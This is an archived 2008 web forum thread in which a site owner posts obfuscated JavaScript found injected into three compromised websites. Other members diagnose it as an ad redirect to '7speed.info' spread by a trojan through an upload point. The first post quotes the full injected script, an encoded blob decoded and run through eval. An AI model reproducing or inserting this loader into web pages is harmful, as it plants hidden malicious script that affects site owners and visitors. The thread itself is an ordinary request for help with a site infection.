PDA

View Full Version : Mystery Javascript



rlfinc
10-27-2008, 03:03 PM
This may not be the right venue, but people here have been so helpful in the past. I had a few sites go down and didn't know why. Found the following code in all three with the issue...does anyone know what this does or if it looks familiar? any help would be appreciated.

<script language=JavaScript> function fwbnb25(z){var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,48,29,20,53,33,46,39,1,38,0,0,0,0,0,0,25,41,14,42,15,34,28,52,59,22,11,26,7,19,45,18,8,5,60,3,40,58,57,49,55,6,16 ,0,0,0,0,0,0,47,44,24,31,4,30,2,13,37,50,23,27,43,21,9,12,51,17,56,61,54,32,10,36,35,62);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(174^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}fwbnb25('@dp1wLFu_uNuDmtu2D@ECLp1J7ciwLFqlDRj_mhv@qtWKab5owVWPqtqSaby_0R1JDojhy@7BuhXhDoyYmNufM@v89@XfaRjwSsW_yF18C2vr9c5y0buYSPX8ah1wls sDmNW_jtq_mF1Sls5e6A9fUV5Q9Pjhy@7oIcEpUcuLmbuYDV7lUAyYaRWolbuMuo9BuNukJRjMjTjLXNXg0R43gF1_apyZw@vLypXDDRjZ9s5')</script>

magicyte
10-27-2008, 10:01 PM
Man, if your sites go down, take the code out! (That is unless you need the code) ... Please provide a link.

-magicyte

Twey
10-28-2008, 12:26 PM
It seems to be attempting to be an ad pointing to '7speed.info' (which doesn't exist).

rlfinc
10-29-2008, 05:35 PM
Found the issue. A trojan from an upload point hitched a ride and spidered out. Sucks, but fixable. Thanks for the responses.

barrydt
10-31-2008, 07:54 PM
Can I ask you where in your website you found this code? I just did a search on 7speed.info because it came up on my site, and found this thread. I think I may be infected with the same thing, but I'm not sure where on my site to look.

Thank you!

Jesdisciple
11-01-2008, 04:34 PM
Where is your site, Barry? And what pages show the problem?

tetrix
11-01-2008, 08:00 PM
it's only a mystery ..and i like it la la la la :D

magicyte
11-02-2008, 02:11 AM
*mystery

-- Jesdisciple is serious. I am as well.

-magicyte